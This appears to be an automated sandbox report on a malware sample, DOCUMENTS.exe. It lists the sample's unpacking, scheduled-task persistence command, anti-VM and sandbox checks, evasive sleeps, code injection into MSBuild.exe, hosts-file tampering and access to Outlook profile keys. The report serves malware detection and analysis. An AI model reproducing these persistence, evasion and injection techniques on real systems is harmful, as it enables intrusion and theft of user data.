Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2028:120:WilError_01
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking
Source: DOCUMENTS.exe, Form1.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: ncXzBAPDBtn.exe.0.dr, Form1.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 0.0.DOCUMENTS.exe.e30000.0.unpack, Form1.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 0.2.DOCUMENTS.exe.e30000.0.unpack, Form1.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: C:\Users\user\Desktop\DOCUMENTS.exe File opened: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorrc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9445_none_d08c58b4442ba54f\MSVCR80.dll Jump to behavior
Source: DOCUMENTS.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: DOCUMENTS.exe Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Data Obfuscation:

barindex
.NET source code contains potential unpacker
Source: DOCUMENTS.exe, Form1.cs .Net Code: _X_X0FT_FT2 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: ncXzBAPDBtn.exe.0.dr, Form1.cs .Net Code: _X_X0FT_FT2 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 0.0.DOCUMENTS.exe.e30000.0.unpack, Form1.cs .Net Code: _X_X0FT_FT2 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 0.2.DOCUMENTS.exe.e30000.0.unpack, Form1.cs .Net Code: _X_X0FT_FT2 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_00E3297F push 20000001h; retf 0_2_00E32992
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_016E30E9 pushfd ; ret 0_2_016E30F2
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_016E2EE5 push es; ret 0_2_016E2EE6
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_016E2D42 push cs; ret 0_2_016E2D56
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019ECD6C push ebx; iretd 0_2_019ECD70
Source: C:\Users\user\Desktop\DOCUMENTS.exe Code function: 0_2_019EA2D3 push ecx; retf 0_2_019EA2D6
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Code function: 9_2_01222948 push cs; ret 9_2_01222982
Source: initial sample Static PE information: section name: .text entropy: 7.54267894462
Source: initial sample Static PE information: section name: .text entropy: 7.54267894462

Persistence and Installation Behavior:

barindex
Drops PE files
Source: C:\Users\user\Desktop\DOCUMENTS.exe File created: C:\Users\user\AppData\Roaming\ncXzBAPDBtn.exe Jump to dropped file

Boot Survival:

barindex
Uses schtasks.exe or at.exe to add and modify task schedules
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\ncXzBAPDBtn' /XML 'C:\Users\user\AppData\Local\Temp\tmp9BE9.tmp'

Hooking and other Techniques for Hiding and Protection:

barindex
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Yara detected AntiVM3
Source: Yara match File source: 00000000.00000002.290373669.000000000370C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: DOCUMENTS.exe PID: 1864, type: MEMORYSTR
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: DOCUMENTS.exe, 00000000.00000002.290373669.000000000370C000.00000004.00000001.sdmp Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: DOCUMENTS.exe, 00000000.00000002.290373669.000000000370C000.00000004.00000001.sdmp Binary or memory string: SBIEDLL.DLL
Found evasive API chain (trying to detect sleep duration tampering with parallel thread)
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Function Chain: memAlloc,systemQueried,systemQueried,threadCreated,threadResumed,threadDelayed,threadDelayed,threadDelayed,systemQueried,systemQueried,systemQueried,memAlloc,threadDelayed,threadDelayed,memAlloc,memAlloc,memAlloc,processSet,sectionLoaded,sectionLoaded,processSet,keyOpened,keyValueQueried,memAlloc,keyOpened
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\DOCUMENTS.exe TID: 776 Thread sleep time: -37100s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe TID: 2600 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe TID: 6184 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe TID: 6184 Thread sleep count: 107 > 30 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe TID: 6184 Thread sleep time: -3210000s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe TID: 6204 Thread sleep count: 37 > 30 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe TID: 6184 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe TID: 6184 Thread sleep time: -57064s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe TID: 6184 Thread sleep time: -55468s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Last function: Thread delayed
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\DOCUMENTS.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Code function: 9_2_05C02EF6 GetSystemInfo, 9_2_05C02EF6
Source: C:\Users\user\Desktop\DOCUMENTS.exe Thread delayed: delay time: 37100 Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Thread delayed: delay time: 30000 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Thread delayed: delay time: 30000 Jump to behavior
Source: DOCUMENTS.exe, 00000000.00000002.290373669.000000000370C000.00000004.00000001.sdmp Binary or memory string: vmware
Source: DOCUMENTS.exe, 00000000.00000002.290373669.000000000370C000.00000004.00000001.sdmp Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: DOCUMENTS.exe, 00000000.00000002.290373669.000000000370C000.00000004.00000001.sdmp Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: DOCUMENTS.exe, 00000000.00000002.290373669.000000000370C000.00000004.00000001.sdmp Binary or memory string: VMWARE
Source: DOCUMENTS.exe, 00000000.00000002.290373669.000000000370C000.00000004.00000001.sdmp Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: DOCUMENTS.exe, 00000000.00000002.290373669.000000000370C000.00000004.00000001.sdmp Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: DOCUMENTS.exe, 00000000.00000002.290373669.000000000370C000.00000004.00000001.sdmp Binary or memory string: VMware SVGA II
Source: DOCUMENTS.exe, 00000000.00000002.290373669.000000000370C000.00000004.00000001.sdmp Binary or memory string: vmwareNSYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000
Source: MSBuild.exe, 00000009.00000003.482957609.000000000113F000.00000004.00000001.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: MSBuild.exe, 00000009.00000003.482957609.000000000113F000.00000004.00000001.sdmp Binary or memory string: Hyper-V RAWtZ

Anti Debugging:

barindex
Enables debug privileges
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Process token adjusted: Debug Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Code function: 9_2_02EDD2B8 LdrInitializeThunk, 9_2_02EDD2B8
Source: C:\Users\user\Desktop\DOCUMENTS.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
Writes to foreign memory regions
Source: C:\Users\user\Desktop\DOCUMENTS.exe Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe base: 400000 Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe base: 402000 Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe base: 438000 Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe base: 43A000 Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe base: DD7008 Jump to behavior
Modifies the hosts file
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe File written: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Allocates memory in foreign processes
Source: C:\Users\user\Desktop\DOCUMENTS.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe base: 400000 protect: page execute and read and write Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\user\Desktop\DOCUMENTS.exe Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe base: 400000 value starts with: 4D5A Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\ncXzBAPDBtn' /XML 'C:\Users\user\AppData\Local\Temp\tmp9BE9.tmp' Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe Jump to behavior
Source: MSBuild.exe, 00000009.00000002.523780074.00000000018B0000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd
Source: MSBuild.exe, 00000009.00000002.523780074.00000000018B0000.00000002.00020000.sdmp Binary or memory string: Progman
Source: MSBuild.exe, 00000009.00000002.523780074.00000000018B0000.00000002.00020000.sdmp Binary or memory string: SProgram Managerl
Source: MSBuild.exe, 00000009.00000002.523780074.00000000018B0000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd,
Source: MSBuild.exe, 00000009.00000002.523780074.00000000018B0000.00000002.00020000.sdmp Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

barindex
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\DOCUMENTS.exe Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation Jump to behavior
